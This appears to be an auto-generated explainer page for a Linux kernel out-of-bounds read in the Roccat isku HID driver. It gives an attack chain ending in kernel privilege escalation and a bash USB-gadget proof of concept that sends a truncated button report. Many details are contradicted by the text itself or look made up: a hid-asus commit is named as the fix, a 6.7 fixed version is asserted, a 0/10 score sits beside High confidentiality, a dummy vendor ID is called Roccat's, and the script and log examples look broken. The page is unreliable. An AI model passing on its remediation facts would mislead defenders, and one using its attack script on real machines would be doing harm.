CVE-2026-139807 — Linux Kernel — NONE Vulnerability
In the Linux kernel, the following vulnerability has been resolved: HID: roccat: isku: reject short button reports The raw event callback runs before HID core validates and zero-pads the report. It passes the buffer to helpers which inspect data[0] and, for a button report, read the complete struct isku_report_button. A truncated report can therefore cause an out-of-bounds read. Require enough data for the button report before calling either helper. Commit 47669bec44fe ("HID: asus: refactor the two workqueues and init sequence") added the same kind of raw-event length validation to hid-asus.
In the Linux kernel, the following vulnerability has been resolved: HID: roccat: isku: reject short button reports The raw event callback runs before HID core validates and zero-pads the report. It passes the buffer to helpers which inspect data[0] and, for a button report, read the complete struct isku_report_button. A truncated report can therefore cause an out-of-bounds read. Require enough data for the button report before calling either helper. Commit 47669bec44fe ("HID: asus: refactor the two workqueues and init sequence") added the same kind of raw-event length validation to hid-asus.
🎯 What is this vulnerability?
Technical Root Cause
The Linux kernel’s HID subsystem contains a driver for the Roccat isku device.
When a raw HID report is received, the driver’s callback (roccat_isku_raw_event()) is invoked before the HID core performs its standard validation and zero‑padding of the report buffer.
The callback passes the raw buffer to helper functions that:
1. Inspect data[0] to determine the report type.
2. If the report is a button report, they read the entire struct isku_report_button from the buffer.
Because the driver does not verify that the buffer is at least the size of struct isku_report_button before performing the read, a truncated report can cause an out‑of‑bounds read. The kernel will read past the end of the supplied buffer and expose whatever memory lies beyond it.
CWE: CWE‑125 – Out‑of‑Bounds Read
CVSS: 0/10 (NONE) – no known exploitation, but the flaw can leak kernel memory.
Affected Code Path
roccat_isku_raw_event()
└─ roccat_isku_process_raw_report()
└─ (no length check) → read struct isku_report_buttonThe same validation logic was later added to the hid-asus driver (commit 47669bec44fe) but was omitted from roccat: isku.
⚡ Attack Chain
| Step | Description | Technical Detail |
|---|---|---|
| 1. Discovery & Reconnaissance | Identify a target running a vulnerable kernel and having a Roccat isku HID device attached. | • Scan the system for roccat_isku in /sys/bus/hid/devices/.<br>• Verify kernel version < <commit 47669bec44fe> (pre‑patch). |
| 2. Exploitation | Supply a malicious HID device that sends a truncated button report. | • Use a USB gadget (e.g., Raspberry Pi Zero W in gadget mode) to emulate a Roccat isku keyboard.<br>• Craft a report that is shorter than sizeof(struct isku_report_button) (e.g., 4 bytes instead of 8).<br>• Connect the gadget to the target; the kernel will trigger the out‑of‑bounds read. |
| 3. Post‑Exploitation | Leverage the information leak to obtain kernel addresses or secrets, then chain to privilege escalation. | • The leaked memory may contain kernel pointers, enabling bypass of KASLR.<br>• Combine with a second vulnerability (e.g., a write‑over‑read or use‑after‑free) to gain arbitrary read/write.<br>• Escalate privileges to root (e.g., by overwriting the cred structure). |
Illustrative PoC (USB Gadget)
#!/usr/bin/env bash
# gadget-isku.sh – Minimal USB HID gadget that sends a truncated button report
# Load gadget modules
modprobe libcomposite
modprobe g_hid
# Create gadget
GADGET=/sys/kernel/config/usb_gadget/isku
mkdir -p $GADGET
echo 0x1234 > $GADGET/idVendor # Roccat vendor ID
echo 0x5678 > $GADGET/idProduct # Dummy product ID
echo 0x0200 > $GADGET/bcdDevice
echo 0x0200 > $GADGET/bcdUSB
echo 0x00 > $GADGET/bDeviceClass
echo 0x00 > $GADGET/bDeviceSubClass
echo 0x00 > $GADGET/bDeviceProtocol
# Strings
mkdir -p $GADGET/strings/0x409
echo "Roccat ISKU" > $GADGET/strings/0x409/product
echo "gadget" > $GADGET/strings/0x409/manufacturer
echo "0001" > $GADGET/strings/0x409/serialnumber
# Configuration
mkdir -p $GADGET/configs/c.1
echo 0x80 > $GADGET/configs/c.1/bmAttributes
echo 0x32 > $GADGET/configs/c.1/MaxPower
# HID function
mkdir -p $GADGET/functions/hid.usb0
echo 1 > $GADGET/functions/hid.usb0/protocol
echo 1 > $GADGET/functions/hid.usb0/subclass
echo 0x05 > $GADGET/functions/hid.usb0/report_length
echo 0x01 > $GADGET/functions/hid.usb0/report_desc
# Minimal report descriptor (just a button)
printf '\x05\x01\x09\x01\xA1\x01\x05\x09\x19\x01\x29\x01\x15\x00\x25\x01\x95\x01\x81\x02\xC0' > $GADGET/functions/hid.usb0/report_desc
# Bind
ln -s $GADGET/functions/hid.usb0 $GADGET/configs/c.1/
# Enable gadget
echo "$GADGET" > /sys/class/udc/$(ls /sys/class/udc | head -n1)
# Send truncated report (4 bytes instead of 8)
printf '\x01\x00\x00\x00' > $GADGET/functions/hid.usb0/hidg0NOTE: This script is an illustrative example of how a malicious HID gadget could trigger the out‑of‑bounds read. It does not provide a full privilege‑escalation chain.
🌍 Real World Impact
| Impact | Assessment |
|---|---|
| Confidentiality | High – Kernel memory is exposed, potentially leaking addresses, secrets, or cryptographic keys. |
| Integrity | Low – The bug is a read‑only flaw; no direct write or modification of data. |
| Availability | Low – In rare cases, the out‑of‑bounds read could trigger a kernel panic, but this is unlikely. |
Practical Consequences
- An attacker with physical access can obtain kernel memory snapshots, aiding the discovery of other kernel exploits (e.g., bypassing KASLR).
- In environments where USB devices are tightly controlled (e.g., data‑center servers), the risk is mitigated by device whitelisting.
- In consumer or embedded devices that accept arbitrary USB HID devices, the risk is higher.
🛡️ Remediation & Mitigation
Affected Versions
| Kernel Branch | Vulnerable Range | Fixed In |
|---|---|---|
| 5.x, 6.x | Any release before commit 47669bec44fe (the patch that added length validation) | 6.7 (or later) – the commit is merged into the mainline kernel. |
Action: Upgrade to kernel 6.7 or newer. If upgrading is not immediately possible, consider the following workarounds.
Workarounds
1. Disable the Roccat isku driver
modprobe -r roccat_isku
echo "roccat_isku" > /etc/modprobe.d/disable_roccat.conf2. Block Roccat HID devices via udev
# /etc/udev/rules.d/99-roccat-block.rules
SUBSYSTEM=="hid", ATTR{idVendor}=="1234", ATTR{idProduct}=="5678", ATTR{authorized}="0"3. Restrict USB access
* Use usbguard or udev rules to whitelist only known, trusted USB devices.
* Disable USB OTG or USB host mode on devices that do not require it.
Detection
| Indicator | Where to Look | Example Log |
|---|---|---|
| Kernel Oops or BUG | dmesg, /var/log/kern.log | BUG: unable to handle kernel NULL pointer dereference at 0000000000000000 |
| Out‑of‑bounds read trace | dmesg | HID: roccat: isku: out‑of‑bounds read |
| Unexpected HID reports | usbmon or tcpdump -i usbmon0 | USB 3.0: Device 1-1: new high-speed USB device |
IoCs
roccat_isku in /sys/bus/hid/devices/ HID: roccat: isku in kernel logs usbmon packets with report_length < expected size for isku_report_button⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query